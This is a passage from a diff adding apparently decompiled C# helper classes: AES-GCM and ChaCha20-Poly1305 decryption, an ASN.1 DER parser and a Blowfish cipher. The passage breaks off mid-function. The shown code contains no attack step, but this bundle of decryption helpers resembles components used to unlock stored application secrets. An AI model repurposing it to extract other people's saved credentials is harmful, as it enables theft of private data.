state[i, j] = SBox[state[i, j]];
}
}
}
private void ShiftRows(byte[,] state)
{
byte b = state[1, 0];
state[1, 0] = state[1, 1];
state[1, 1] = state[1, 2];
state[1, 2] = state[1, 3];
state[1, 3] = b;
b = state[2, 0];
state[2, 0] = state[2, 2];
state[2, 2] = b;
b = state[2, 1];
state[2, 1] = state[2, 3];
state[2, 3] = b;
b = state[3, 3];
state[3, 3] = state[3, 2];
state[3, 2] = state[3, 1];
state[3, 1] = state[3, 0];
state[3, 0] = b;
}
private void MixColumns(byte[,] state)
{
byte[] array = new byte[4];
for (int i = 0; i < 4; i++)
{
array[0] = (byte)(GFMultiply(2, state[0, i]) ^ GFMultiply(3, state[1, i]) ^ state[2, i] ^ state[3, i]);
array[1] = (byte)(state[0, i] ^ GFMultiply(2, state[1, i]) ^ GFMultiply(3, state[2, i]) ^ state[3, i]);
array[2] = (byte)(state[0, i] ^ state[1, i] ^ GFMultiply(2, state[2, i]) ^ GFMultiply(3, state[3, i]));
array[3] = (byte)(GFMultiply(3, state[0, i]) ^ state[1, i] ^ state[2, i] ^ GFMultiply(2, state[3, i]));
state[0, i] = array[0];
state[1, i] = array[1];
state[2, i] = array[2];
state[3, i] = array[3];
}
}
private byte GFMultiply(byte a, byte b)
{
byte b2 = 0;
for (int i = 0; i < 8; i++)
{
if ((b & 1) != 0)
{
b2 ^= a;
}
bool num = (a & 0x80) != 0;
a <<= 1;
if (num)
{
a ^= 0x1B;
}
b >>= 1;
}
return b2;
}
private void EncryptBlock(byte[] input, byte[] output)
{
int num = 4;
int num2 = 14;
byte[,] array = new byte[4, num];
for (int i = 0; i < 16; i++)
{
array[i % 4, i / 4] = input[i];
}
AddRoundKey(array, 0);
for (int j = 1; j <= num2 - 1; j++)
{
SubBytes(array);
ShiftRows(array);
MixColumns(array);
AddRoundKey(array, j);
}
SubBytes(array);
ShiftRows(array);
AddRoundKey(array, num2);
for (int k = 0; k < 16; k++)
{
output[k] = array[k % 4, k / 4];
}
}
private byte[] GF128Multiply(byte[] X, byte[] Y)
{
byte[] array = new byte[16];
byte[] array2 = new byte[16];
Array.Copy(Y, array2, 16);
for (int i = 0; i < 128; i++)
{
if (((X[i / 8] >> 7 - i % 8) & 1) == 1)
{
for (int j = 0; j < 16; j++)
{
array[j] ^= array2[j];
}
}
bool flag = (array2[15] & 1) == 1;
for (int num = 15; num >= 0; num--)
{
array2[num] = (byte)((array2[num] >> 1) | (((num > 0) ? array2[num - 1] : 0) << 7));
}
if (flag)
{
array2[0] ^= 225;
}
}
return array;
}
private byte[] GHASH(byte[] H, byte[] A, byte[] C)
{
_ = (A.Length + 15) / 16;
_ = (C.Length + 15) / 16;
byte[] array = new byte[16];
byte[] array2 = new byte[16];
byte[] array3 = new byte[16];
int num;
for (int i = 0; i < A.Length; i += num)
{
Array.Clear(array3, 0, 16);
num = Math.Min(16, A.Length - i);
Array.Copy(A, i, array3, 0, num);
for (int j = 0; j < 16; j++)
{
array2[j] = (byte)(array[j] ^ array3[j]);
}
array = GF128Multiply(array2, H);
}
int num2;
for (int i = 0; i < C.Length; i += num2)
{
Array.Clear(array3, 0, 16);
num2 = Math.Min(16, C.Length - i);
Array.Copy(C, i, array3, 0, num2);
for (int k = 0; k < 16; k++)
{
array2[k] = (byte)(array[k] ^ array3[k]);
}
array = GF128Multiply(array2, H);
}
byte[] array4 = new byte[16];
ulong num3 = (ulong)A.Length * 8uL;
ulong num4 = (ulong)C.Length * 8uL;
for (int l = 0; l < 8; l++)
{
array4[7 - l] = (byte)(num3 >> l * 8);
array4[15 - l] = (byte)(num4 >> l * 8);
}
for (int m = 0; m < 16; m++)
{
array2[m] = (byte)(array[m] ^ array4[m]);
}
return GF128Multiply(array2, H);
}
private void IncrementCounter(byte[] counterBlock)
{
int num = 15;
while (num >= 12 && ++counterBlock[num] == 0)
{
num--;
}
}
public byte[] Decrypt(byte[] ciphertext, byte[] tag, byte[] iv, byte[] aad)
{
if (aad == null)
{
aad = new byte[0];
}
byte[] array = new byte[16];
EncryptBlock(new byte[16], array);
byte[] array2 = new byte[16];
if (iv.Length == 12)
{
Array.Copy(iv, 0, array2, 0, 12);
array2[15] = 1;
}
else
{
array2 = GHASH(array, null, iv);
}
byte[] array3 = new byte[ciphertext.Length];
byte[] array4 = new byte[16];
Array.Copy(array2, array4, 16);
int num = ciphertext.Length / 16;
int num2 = ciphertext.Length % 16;
int num3 = ((num2 == 0) ? num : (num + 1));
for (int i = 0; i < num3; i++)
{
IncrementCounter(array4);
byte[] array5 = new byte[16];
EncryptBlock(array4, array5);
int num4 = ((i < num) ? 16 : num2);
for (int j = 0; j < num4; j++)
{
array3[i * 16 + j] = (byte)(ciphertext[i * 16 + j] ^ array5[j]);
}
}
byte[] array6 = GHASH(array, aad, ciphertext);
byte[] array7 = new byte[16];
EncryptBlock(array2, array7);
byte[] array8 = new byte[16];
for (int k = 0; k < 16; k++)
{
array8[k] = (byte)(array7[k] ^ array6[k]);
}
if (!VerifyTag(tag, array8))
{
throw new Exception("Authentication tag does not match. Decryption failed.");
}
return array3;
}
private bool VerifyTag(byte[] tag1, byte[] tag2)
{
if (tag1.Length != tag2.Length)
{
return false;
}
int num = 0;
for (int i = 0; i < tag1.Length; i++)
{
num |= tag1[i] ^ tag2[i];
}
return num == 0;
}
}
@@ -0,0 +1,95 @@
using System;
namespace Intelix.Helper.Encrypted;
public class Asn1Der
{
public enum Type
{
Sequence = 48,
Integer = 2,
OctetString = 4,
ObjectIdentifier = 6
}
public Asn1DerObject Parse(byte[] toParse)
{
Asn1DerObject asn1DerObject = new Asn1DerObject();
for (int i = 0; i < toParse.Length; i++)
{
switch ((Type)toParse[i])
{
case Type.Sequence:
{
byte[] array;
if (asn1DerObject.Lenght == 0)
{
asn1DerObject.Type = Type.Sequence;
asn1DerObject.Lenght = toParse.Length - (i + 2);
array = new byte[asn1DerObject.Lenght];
}
else
{
asn1DerObject.Objects.Add(new Asn1DerObject
{
Type = Type.Sequence,
Lenght = toParse[i + 1]
});
array = new byte[toParse[i + 1]];
}
int length = ((array.Length > toParse.Length - (i + 2)) ? (toParse.Length - (i + 2)) : array.Length);
Array.Copy(toParse, i + 2, array, 0, length);
asn1DerObject.Objects.Add(Parse(array));
i = i + 1 + toParse[i + 1];
break;
}
case Type.Integer:
{
asn1DerObject.Objects.Add(new Asn1DerObject
{
Type = Type.Integer,
Lenght = toParse[i + 1]
});
byte[] array = new byte[toParse[i + 1]];
int length = ((i + 2 + toParse[i + 1] > toParse.Length) ? (toParse.Length - (i + 2)) : toParse[i + 1]);
Array.Copy(toParse, i + 2, array, 0, length);
Asn1DerObject[] array3 = asn1DerObject.Objects.ToArray();
asn1DerObject.Objects[array3.Length - 1].Data = array;
i = i + 1 + asn1DerObject.Objects[array3.Length - 1].Lenght;
break;
}
case Type.OctetString:
{
asn1DerObject.Objects.Add(new Asn1DerObject
{
Type = Type.OctetString,
Lenght = toParse[i + 1]
});
byte[] array = new byte[toParse[i + 1]];
int length = ((i + 2 + toParse[i + 1] > toParse.Length) ? (toParse.Length - (i + 2)) : toParse[i + 1]);
Array.Copy(toParse, i + 2, array, 0, length);
Asn1DerObject[] array4 = asn1DerObject.Objects.ToArray();
asn1DerObject.Objects[array4.Length - 1].Data = array;
i = i + 1 + asn1DerObject.Objects[array4.Length - 1].Lenght;
break;
}
case Type.ObjectIdentifier:
{
asn1DerObject.Objects.Add(new Asn1DerObject
{
Type = Type.ObjectIdentifier,
Lenght = toParse[i + 1]
});
byte[] array = new byte[toParse[i + 1]];
int length = ((i + 2 + toParse[i + 1] > toParse.Length) ? (toParse.Length - (i + 2)) : toParse[i + 1]);
Array.Copy(toParse, i + 2, array, 0, length);
Asn1DerObject[] array2 = asn1DerObject.Objects.ToArray();
asn1DerObject.Objects[array2.Length - 1].Data = array;
i = i + 1 + asn1DerObject.Objects[array2.Length - 1].Lenght;
break;
}
}
}
return asn1DerObject;
}
}
@@ -0,0 +1,71 @@
using System.Collections.Generic;
using System.Text;
namespace Intelix.Helper.Encrypted;
public class Asn1DerObject
{
public Asn1Der.Type Type { get; set; }
public int Lenght { get; set; }
public List<Asn1DerObject> Objects { get; }
public byte[] Data { get; set; }
public Asn1DerObject()
{
Objects = new List<Asn1DerObject>();
}
public override string ToString()
{
StringBuilder stringBuilder = new StringBuilder();
StringBuilder stringBuilder2 = new StringBuilder();
switch (Type)
{
case Asn1Der.Type.Sequence:
stringBuilder.AppendLine("SEQUENCE {");
break;
case Asn1Der.Type.Integer:
{
byte[] data = Data;
foreach (byte b3 in data)
{
stringBuilder2.AppendFormat("{0:X2}", b3);
}
stringBuilder.AppendLine("\tINTEGER " + stringBuilder2);
break;
}
case Asn1Der.Type.OctetString:
{
byte[] data = Data;
foreach (byte b2 in data)
{
stringBuilder2.AppendFormat("{0:X2}", b2);
}
stringBuilder.AppendLine("\tOCTETSTRING " + stringBuilder2);
break;
}
case Asn1Der.Type.ObjectIdentifier:
{
byte[] data = Data;
foreach (byte b in data)
{
stringBuilder2.AppendFormat("{0:X2}", b);
}
stringBuilder.AppendLine("\tOBJECTIDENTIFIER " + stringBuilder2);
break;
}
}
foreach (Asn1DerObject @object in Objects)
{
stringBuilder.Append(@object);
}
if (Type.Equals(Asn1Der.Type.Sequence))
{
stringBuilder.AppendLine("}");
}
return stringBuilder.ToString();
}
}
@@ -0,0 +1,311 @@
using System;
namespace Intelix.Helper.Encrypted;
public class Blowfish
{
public enum Endian
{
Little,
Big
}
public readonly int MinUserKeyLength = 1;
public readonly int MaxUserKeyLength = 56;
public readonly int BlockSize = 8;
private readonly uint[] OriginPBox = new uint[18]
{
608135816u, 2242054355u, 320440878u, 57701188u, 2752067618u, 698298832u, 137296536u, 3964562569u, 1160258022u, 953160567u,
3193202383u, 887688300u, 3232508343u, 3380367581u, 1065670069u, 3041331479u, 2450970073u, 2306472731u
};
private readonly uint[,] OriginSBox = new uint[4, 256]
{
{
3509652390u, 2564797868u, 805139163u, 3491422135u, 3101798381u, 1780907670u, 3128725573u, 4046225305u, 614570311u, 3012652279u,
134345442u, 2240740374u, 1667834072u, 1901547113u, 2757295779u, 4103290238u, 227898511u, 1921955416u, 1904987480u, 2182433518u,
2069144605u, 3260701109u, 2620446009u, 720527379u, 3318853667u, 677414384u, 3393288472u, 3101374703u, 2390351024u, 1614419982u,
1822297739u, 2954791486u, 3608508353u, 3174124327u, 2024746970u, 1432378464u, 3864339955u, 2857741204u, 1464375394u, 1676153920u,
1439316330u, 715854006u, 3033291828u, 289532110u, 2706671279u, 2087905683u, 3018724369u, 1668267050u, 732546397u, 1947742710u,
3462151702u, 2609353502u, 2950085171u, 1814351708u, 2050118529u, 680887927u, 999245976u, 1800124847u, 3300911131u, 1713906067u,
1641548236u, 4213287313u, 1216130144u, 1575780402u, 4018429277u, 3917837745u, 3693486850u, 3949271944u, 596196993u, 3549867205u,
258830323u, 2213823033u, 772490370u, 2760122372u, 1774776394u, 2652871518u, 566650946u, 4142492826u, 1728879713u, 2882767088u,
1783734482u, 3629395816u, 2517608232u, 2874225571u, 1861159788u, 326777828u, 3124490320u, 2130389656u, 2716951837u, 967770486u,
1724537150u, 2185432712u, 2364442137u, 1164943284u, 2105845187u, 998989502u, 3765401048u, 2244026483u, 1075463327u, 1455516326u,
1322494562u, 910128902u, 469688178u, 1117454909u, 936433444u, 3490320968u, 3675253459u, 1240580251u, 122909385u, 2157517691u,
634681816u, 4142456567u, 3825094682u, 3061402683u, 2540495037u, 79693498u, 3249098678u, 1084186820u, 1583128258u, 426386531u,
1761308591u, 1047286709u, 322548459u, 995290223u, 1845252383u, 2603652396u, 3431023940u, 2942221577u, 3202600964u, 3727903485u,
1712269319u, 422464435u, 3234572375u, 1170764815u, 3523960633u, 3117677531u, 1434042557u, 442511882u, 3600875718u, 1076654713u,
1738483198u, 4213154764u, 2393238008u, 3677496056u, 1014306527u, 4251020053u, 793779912u, 2902807211u, 842905082u, 4246964064u,
1395751752u, 1040244610u, 2656851899u, 3396308128u, 445077038u, 3742853595u, 3577915638u, 679411651u, 2892444358u, 2354009459u,
1767581616u, 3150600392u, 3791627101u, 3102740896u, 284835224u, 4246832056u, 1258075500u, 768725851u, 2589189241u, 3069724005u,
3532540348u, 1274779536u, 3789419226u, 2764799539u, 1660621633u, 3471099624u, 4011903706u, 913787905u, 3497959166u, 737222580u,
2514213453u, 2928710040u, 3937242737u, 1804850592u, 3499020752u, 2949064160u, 2386320175u, 2390070455u, 2415321851u, 4061277028u,
2290661394u, 2416832540u, 1336762016u, 1754252060u, 3520065937u, 3014181293u, 791618072u, 3188594551u, 3933548030u, 2332172193u,
3852520463u, 3043980520u, 413987798u, 3465142937u, 3030929376u, 4245938359u, 2093235073u, 3534596313u, 375366246u, 2157278981u,
2479649556u, 555357303u, 3870105701u, 2008414854u, 3344188149u, 4221384143u, 3956125452u, 2067696032u, 3594591187u, 2921233993u,
2428461u, 544322398u, 577241275u, 1471733935u, 610547355u, 4027169054u, 1432588573u, 1507829418u, 2025931657u, 3646575487u,
545086370u, 48609733u, 2200306550u, 1653985193u, 298326376u, 1316178497u, 3007786442u, 2064951626u, 458293330u, 2589141269u,
3591329599u, 3164325604u, 727753846u, 2179363840u, 146436021u, 1461446943u, 4069977195u, 705550613u, 3059967265u, 3887724982u,
4281599278u, 3313849956u, 1404054877u, 2845806497u, 146425753u, 1854211946u
},
{
1266315497u, 3048417604u, 3681880366u, 3289982499u, 2909710000u, 1235738493u, 2632868024u, 2414719590u, 3970600049u, 1771706367u,
1449415276u, 3266420449u, 422970021u, 1963543593u, 2690192192u, 3826793022u, 1062508698u, 1531092325u, 1804592342u, 2583117782u,
2714934279u, 4024971509u, 1294809318u, 4028980673u, 1289560198u, 2221992742u, 1669523910u, 35572830u, 157838143u, 1052438473u,
1016535060u, 1802137761u, 1753167236u, 1386275462u, 3080475397u, 2857371447u, 1040679964u, 2145300060u, 2390574316u, 1461121720u,
2956646967u, 4031777805u, 4028374788u, 33600511u, 2920084762u, 1018524850u, 629373528u, 3691585981u, 3515945977u, 2091462646u,
2486323059u, 586499841u, 988145025u, 935516892u, 3367335476u, 2599673255u, 2839830854u, 265290510u, 3972581182u, 2759138881u,
3795373465u, 1005194799u, 847297441u, 406762289u, 1314163512u, 1332590856u, 1866599683u, 4127851711u, 750260880u, 613907577u,
1450815602u, 3165620655u, 3734664991u, 3650291728u, 3012275730u, 3704569646u, 1427272223u, 778793252u, 1343938022u, 2676280711u,
2052605720u, 1946737175u, 3164576444u, 3914038668u, 3967478842u, 3682934266u, 1661551462u, 3294938066u, 4011595847u, 840292616u,
3712170807u, 616741398u, 312560963u, 711312465u, 1351876610u, 322626781u, 1910503582u, 271666773u, 2175563734u, 1594956187u,
70604529u, 3617834859u, 1007753275u, 1495573769u, 4069517037u, 2549218298u, 2663038764u, 504708206u, 2263041392u, 3941167025u,
2249088522u, 1514023603u, 1998579484u, 1312622330u, 694541497u, 2582060303u, 2151582166u, 1382467621u, 776784248u, 2618340202u,
3323268794u, 2497899128u, 2784771155u, 503983604u, 4076293799u, 907881277u, 423175695u, 432175456u, 1378068232u, 4145222326u,
3954048622u, 3938656102u, 3820766613u, 2793130115u, 2977904593u, 26017576u, 3274890735u, 3194772133u, 1700274565u, 1756076034u,
4006520079u, 3677328699u, 720338349u, 1533947780u, 354530856u, 688349552u, 3973924725u, 1637815568u, 332179504u, 3949051286u,
53804574u, 2852348879u, 3044236432u, 1282449977u, 3583942155u, 3416972820u, 4006381244u, 1617046695u, 2628476075u, 3002303598u,
1686838959u, 431878346u, 2686675385u, 1700445008u, 1080580658u, 1009431731u, 832498133u, 3223435511u, 2605976345u, 2271191193u,
2516031870u, 1648197032u, 4164389018u, 2548247927u, 300782431u, 375919233u, 238389289u, 3353747414u, 2531188641u, 2019080857u,
1475708069u, 455242339u, 2609103871u, 448939670u, 3451063019u, 1395535956u, 2413381860u, 1841049896u, 1491858159u, 885456874u,
4264095073u, 4001119347u, 1565136089u, 3898914787u, 1108368660u, 540939232u, 1173283510u, 2745871338u, 3681308437u, 4207628240u,
3343053890u, 4016749493u, 1699691293u, 1103962373u, 3625875870u, 2256883143u, 3830138730u, 1031889488u, 3479347698u, 1535977030u,
4236805024u, 3251091107u, 2132092099u, 1774941330u, 1199868427u, 1452454533u, 157007616u, 2904115357u, 342012276u, 595725824u,
1480756522u, 206960106u, 497939518u, 591360097u, 863170706u, 2375253569u, 3596610801u, 1814182875u, 2094937945u, 3421402208u,
1082520231u, 3463918190u, 2785509508u, 435703966u, 3908032597u, 1641649973u, 2842273706u, 3305899714u, 1510255612u, 2148256476u,
2655287854u, 3276092548u, 4258621189u, 236887753u, 3681803219u, 274041037u, 1734335097u, 3815195456u, 3317970021u, 1899903192u,
1026095262u, 4050517792u, 356393447u, 2410691914u, 3873677099u, 3682840055u
},
{
3913112168u, 2491498743u, 4132185628u, 2489919796u, 1091903735u, 1979897079u, 3170134830u, 3567386728u, 3557303409u, 857797738u,
1136121015u, 1342202287u, 507115054u, 2535736646u, 337727348u, 3213592640u, 1301675037u, 2528481711u, 1895095763u, 1721773893u,
3216771564u, 62756741u, 2142006736u, 835421444u, 2531993523u, 1442658625u, 3659876326u, 2882144922u, 676362277u, 1392781812u,
170690266u, 3921047035u, 1759253602u, 3611846912u, 1745797284u, 664899054u, 1329594018u, 3901205900u, 3045908486u, 2062866102u,
2865634940u, 3543621612u, 3464012697u, 1080764994u, 553557557u, 3656615353u, 3996768171u, 991055499u, 499776247u, 1265440854u,
648242737u, 3940784050u, 980351604u, 3713745714u, 1749149687u, 3396870395u, 4211799374u, 3640570775u, 1161844396u, 3125318951u,
1431517754u, 545492359u, 4268468663u, 3499529547u, 1437099964u, 2702547544u, 3433638243u, 2581715763u, 2787789398u, 1060185593u,
1593081372u, 2418618748u, 4260947970u, 69676912u, 2159744348u, 86519011u, 2512459080u, 3838209314u, 1220612927u, 3339683548u,
133810670u, 1090789135u, 1078426020u, 1569222167u, 845107691u, 3583754449u, 4072456591u, 1091646820u, 628848692u, 1613405280u,
3757631651u, 526609435u, 236106946u, 48312990u, 2942717905u, 3402727701u, 1797494240u, 859738849u, 992217954u, 4005476642u,
2243076622u, 3870952857u, 3732016268u, 765654824u, 3490871365u, 2511836413u, 1685915746u, 3888969200u, 1414112111u, 2273134842u,
3281911079u, 4080962846u, 172450625u, 2569994100u, 980381355u, 4109958455u, 2819808352u, 2716589560u, 2568741196u, 3681446669u,
3329971472u, 1835478071u, 660984891u, 3704678404u, 4045999559u, 3422617507u, 3040415634u, 1762651403u, 1719377915u, 3470491036u,
2693910283u, 3642056355u, 3138596744u, 1364962596u, 2073328063u, 1983633131u, 926494387u, 3423689081u, 2150032023u, 4096667949u,
1749200295u, 3328846651u, 309677260u, 2016342300u, 1779581495u, 3079819751u, 111262694u, 1274766160u, 443224088u, 298511866u,
1025883608u, 3806446537u, 1145181785u, 168956806u, 3641502830u, 3584813610u, 1689216846u, 3666258015u, 3200248200u, 1692713982u,
2646376535u, 4042768518u, 1618508792u, 1610833997u, 3523052358u, 4130873264u, 2001055236u, 3610705100u, 2202168115u, 4028541809u,
2961195399u, 1006657119u, 2006996926u, 3186142756u, 1430667929u, 3210227297u, 1314452623u, 4074634658u, 4101304120u, 2273951170u,
1399257539u, 3367210612u, 3027628629u, 1190975929u, 2062231137u, 2333990788u, 2221543033u, 2438960610u, 1181637006u, 548689776u,
2362791313u, 3372408396u, 3104550113u, 3145860560u, 296247880u, 1970579870u, 3078560182u, 3769228297u, 1714227617u, 3291629107u,
3898220290u, 166772364u, 1251581989u, 493813264u, 448347421u, 195405023u, 2709975567u, 677966185u, 3703036547u, 1463355134u,
2715995803u, 1338867538u, 1343315457u, 2802222074u, 2684532164u, 233230375u, 2599980071u, 2000651841u, 3277868038u, 1638401717u,
4028070440u, 3237316320u, 6314154u, 819756386u, 300326615u, 590932579u, 1405279636u, 3267499572u, 3150704214u, 2428286686u,
3959192993u, 3461946742u, 1862657033u, 1266418056u, 963775037u, 2089974820u, 2263052895u, 1917689273u, 448879540u, 3550394620u,
3981727096u, 150775221u, 3627908307u, 1303187396u, 508620638u, 2975983352u, 2726630617u, 1817252668u, 1876281319u, 1457606340u,
908771278u, 3720792119u, 3617206836u, 2455994898u, 1729034894u, 1080033504u
},
{
976866871u, 3556439503u, 2881648439u, 1522871579u, 1555064734u, 1336096578u, 3548522304u, 2579274686u, 3574697629u, 3205460757u,
3593280638u, 3338716283u, 3079412587u, 564236357u, 2993598910u, 1781952180u, 1464380207u, 3163844217u, 3332601554u, 1699332808u,
1393555694u, 1183702653u, 3581086237u, 1288719814u, 691649499u, 2847557200u, 2895455976u, 3193889540u, 2717570544u, 1781354906u,
1676643554u, 2592534050u, 3230253752u, 1126444790u, 2770207658u, 2633158820u, 2210423226u, 2615765581u, 2414155088u, 3127139286u,
673620729u, 2805611233u, 1269405062u, 4015350505u, 3341807571u, 4149409754u, 1057255273u, 2012875353u, 2162469141u, 2276492801u,
2601117357u, 993977747u, 3918593370u, 2654263191u, 753973209u, 36408145u, 2530585658u, 25011837u, 3520020182u, 2088578344u,
530523599u, 2918365339u, 1524020338u, 1518925132u, 3760827505u, 3759777254u, 1202760957u, 3985898139u, 3906192525u, 674977740u,
4174734889u, 2031300136u, 2019492241u, 3983892565u, 4153806404u, 3822280332u, 352677332u, 2297720250u, 60907813u, 90501309u,
3286998549u, 1016092578u, 2535922412u, 2839152426u, 457141659u, 509813237u, 4120667899u, 652014361u, 1966332200u, 2975202805u,
55981186u, 2327461051u, 676427537u, 3255491064u, 2882294119u, 3433927263u, 1307055953u, 942726286u, 933058658u, 2468411793u,
3933900994u, 4215176142u, 1361170020u, 2001714738u, 2830558078u, 3274259782u, 1222529897u, 1679025792u, 2729314320u, 3714953764u,
1770335741u, 151462246u, 3013232138u, 1682292957u, 1483529935u, 471910574u, 1539241949u, 458788160u, 3436315007u, 1807016891u,
3718408830u, 978976581u, 1043663428u, 3165965781u, 1927990952u, 4200891579u, 2372276910u, 3208408903u, 3533431907u, 1412390302u,
2931980059u, 4132332400u, 1947078029u, 3881505623u, 4168226417u, 2941484381u, 1077988104u, 1320477388u, 886195818u, 18198404u,
3786409000u, 2509781533u, 112762804u, 3463356488u, 1866414978u, 891333506u, 18488651u, 661792760u, 1628790961u, 3885187036u,
3141171499u, 876946877u, 2693282273u, 1372485963u, 791857591u, 2686433993u, 3759982718u, 3167212022u, 3472953795u, 2716379847u,
445679433u, 3561995674u, 3504004811u, 3574258232u, 54117162u, 3331405415u, 2381918588u, 3769707343u, 4154350007u, 1140177722u,
4074052095u, 668550556u, 3214352940u, 367459370u, 261225585u, 2610173221u, 4209349473u, 3468074219u, 3265815641u, 314222801u,
3066103646u, 3808782860u, 282218597u, 3406013506u, 3773591054u, 379116347u, 1285071038u, 846784868u, 2669647154u, 3771962079u,
3550491691u, 2305946142u, 453669953u, 1268987020u, 3317592352u, 3279303384u, 3744833421u, 2610507566u, 3859509063u, 266596637u,
3847019092u, 517658769u, 3462560207u, 3443424879u, 370717030u, 4247526661u, 2224018117u, 4143653529u, 4112773975u, 2788324899u,
2477274417u, 1456262402u, 2901442914u, 1517677493u, 1846949527u, 2295493580u, 3734397586u, 2176403920u, 1280348187u, 1908823572u,
3871786941u, 846861322u, 1172426758u, 3287448474u, 3383383037u, 1655181056u, 3139813346u, 901632758u, 1897031941u, 2986607138u,
3066810236u, 3447102507u, 1393639104u, 373351379u, 950779232u, 625454576u, 3124240540u, 4148612726u, 2007998917u, 544563296u,
2244738638u, 2330496472u, 2058025392u, 1291430526u, 424198748u, 50039436u, 29584100u, 3605783033u, 2429876329u, 2791104160u,
1057563949u, 3255363231u, 3075367218u, 3463963227u, 1469046755u, 985887462u
}
};
private uint[] SubKey;
private uint[,] SBox;
private uint _F_Transform(uint x)
{
byte[] bytes = BitConverter.GetBytes(x);
if (!BitConverter.IsLittleEndian)
{
Array.Reverse(bytes);
}
return ((SBox[0, bytes[3]] + SBox[1, bytes[2]]) ^ SBox[2, bytes[1]]) + SBox[3, bytes[0]];
}
public void Encrypt(byte[] srcBytes, Endian endian)
{
byte[] array = new byte[4];
byte[] array2 = new byte[4];
Array.Copy(srcBytes, 0, array, 0, 4);
Array.Copy(srcBytes, 4, array2, 0, 4);
if ((BitConverter.IsLittleEndian && endian == Endian.Big) || (!BitConverter.IsLittleEndian && endian == Endian.Little))
{
Array.Reverse(array);
Array.Reverse(array2);
}
uint num = BitConverter.ToUInt32(array, 0);
uint num2 = BitConverter.ToUInt32(array2, 0);
num ^= SubKey[0];
num2 ^= _F_Transform(num);
num2 ^= SubKey[1];
num ^= _F_Transform(num2);
num ^= SubKey[2];
num2 ^= _F_Transform(num);
num2 ^= SubKey[3];
num ^= _F_Transform(num2);
num ^= SubKey[4];
num2 ^= _F_Transform(num);
num2 ^= SubKey[5];
num ^= _F_Transform(num2);
num ^= SubKey[6];
num2 ^= _F_Transform(num);
num2 ^= SubKey[7];
num ^= _F_Transform(num2);
num ^= SubKey[8];
num2 ^= _F_Transform(num);
num2 ^= SubKey[9];
num ^= _F_Transform(num2);
num ^= SubKey[10];
num2 ^= _F_Transform(num);
num2 ^= SubKey[11];
num ^= _F_Transform(num2);
num ^= SubKey[12];
num2 ^= _F_Transform(num);
num2 ^= SubKey[13];
num ^= _F_Transform(num2);
num ^= SubKey[14];
num2 ^= _F_Transform(num);
num2 ^= SubKey[15];
num ^= _F_Transform(num2);
num ^= SubKey[16];
num2 ^= SubKey[17];
array = BitConverter.GetBytes(num2);
array2 = BitConverter.GetBytes(num);
if ((BitConverter.IsLittleEndian && endian == Endian.Big) || (!BitConverter.IsLittleEndian && endian == Endian.Little))
{
Array.Reverse(array);
Array.Reverse(array2);
}
Array.Copy(array, 0, srcBytes, 0, 4);
Array.Copy(array2, 0, srcBytes, 4, 4);
}
public void Decrypt(byte[] srcBytes, Endian endian)
{
byte[] array = new byte[4];
byte[] array2 = new byte[4];
Array.Copy(srcBytes, 0, array, 0, 4);
Array.Copy(srcBytes, 4, array2, 0, 4);
if ((BitConverter.IsLittleEndian && endian == Endian.Big) || (!BitConverter.IsLittleEndian && endian == Endian.Little))
{
Array.Reverse(array);
Array.Reverse(array2);
}
uint num = BitConverter.ToUInt32(array2, 0);
uint num2 = BitConverter.ToUInt32(array, 0);
num ^= SubKey[16];
num2 ^= SubKey[17];
num ^= _F_Transform(num2);
num2 ^= SubKey[15];
num2 ^= _F_Transform(num);
num ^= SubKey[14];
num ^= _F_Transform(num2);
num2 ^= SubKey[13];
num2 ^= _F_Transform(num);
num ^= SubKey[12];
num ^= _F_Transform(num2);
num2 ^= SubKey[11];
num2 ^= _F_Transform(num);
num ^= SubKey[10];
num ^= _F_Transform(num2);
num2 ^= SubKey[9];
num2 ^= _F_Transform(num);
num ^= SubKey[8];
num ^= _F_Transform(num2);
num2 ^= SubKey[7];
num2 ^= _F_Transform(num);
num ^= SubKey[6];
num ^= _F_Transform(num2);
num2 ^= SubKey[5];
num2 ^= _F_Transform(num);
num ^= SubKey[4];
num ^= _F_Transform(num2);
num2 ^= SubKey[3];
num2 ^= _F_Transform(num);
num ^= SubKey[2];
num ^= _F_Transform(num2);
num2 ^= SubKey[1];
num2 ^= _F_Transform(num);
num ^= SubKey[0];
array = BitConverter.GetBytes(num);
array2 = BitConverter.GetBytes(num2);
if ((BitConverter.IsLittleEndian && endian == Endian.Big) || (!BitConverter.IsLittleEndian && endian == Endian.Little))
{
Array.Reverse(array);
Array.Reverse(array2);
}
Array.Copy(array, 0, srcBytes, 0, 4);
Array.Copy(array2, 0, srcBytes, 4, 4);
}
public Blowfish(byte[] UserKey)
{
if (UserKey.Length < MinUserKeyLength)
{
throw new ArgumentException("UserKey is too short.");
}
if (UserKey.Length > 56)
{
throw new ArgumentException("UserKey is too long.");
}
SubKey = OriginPBox.Clone() as uint[];
SBox = OriginSBox.Clone() as uint[,];
for (int i = 0; i < 18; i++)
{
uint num = 0u;
num <<= 8;
num |= UserKey[i * 4 % UserKey.Length];
num <<= 8;
num |= UserKey[(i * 4 + 1) % UserKey.Length];
num <<= 8;
num |= UserKey[(i * 4 + 2) % UserKey.Length];
num <<= 8;
num |= UserKey[(i * 4 + 3) % UserKey.Length];
SubKey[i] ^= num;
}
byte[] array = new byte[8];
for (int j = 0; j < 9; j++)
{
Encrypt(array, Endian.Little);
Buffer.BlockCopy(array, 0, SubKey, 8 * j, 8);
}
for (int k = 0; k < 4; k++)
{
for (int l = 0; l < 128; l++)
{
Encrypt(array, Endian.Little);
Buffer.BlockCopy(array, 0, SBox, 1024 * k + 8 * l, 8);
}
}
}
}
@@ -0,0 +1,244 @@
using System;
using System.Numerics;
using System.Security.Cryptography;
namespace Intelix.Helper.Encrypted;
public static class ChaCha20Poly1305
{
public static byte[] Decrypt(byte[] key32, byte[] iv12, byte[] ciphertext, byte[] tag, byte[] aad = null)
{
if (key32 == null)
{
throw new ArgumentNullException("key32");
}
if (key32.Length != 32)
{
throw new ArgumentException("Key must be 32 bytes", "key32");
}
if (iv12 == null)
{
throw new ArgumentNullException("iv12");
}
if (iv12.Length != 12)
{
throw new ArgumentException("IV must be 12 bytes", "iv12");
}
if (ciphertext == null)
{
throw new ArgumentNullException("ciphertext");
}
if (tag == null)
{
throw new ArgumentNullException("tag");
}
if (tag.Length != 16)
{
throw new ArgumentException("Tag must be 16 bytes", "tag");
}
if (aad == null)
{
aad = new byte[0];
}
byte[] array = ChaCha20Block(key32, 0u, iv12);
byte[] array2 = new byte[32];
Buffer.BlockCopy(array, 0, array2, 0, 32);
byte[] msg = BuildPoly1305Message(aad, ciphertext);
if (!FixedTimeEquals(Poly1305TagWithBigInteger(array2, msg), tag))
{
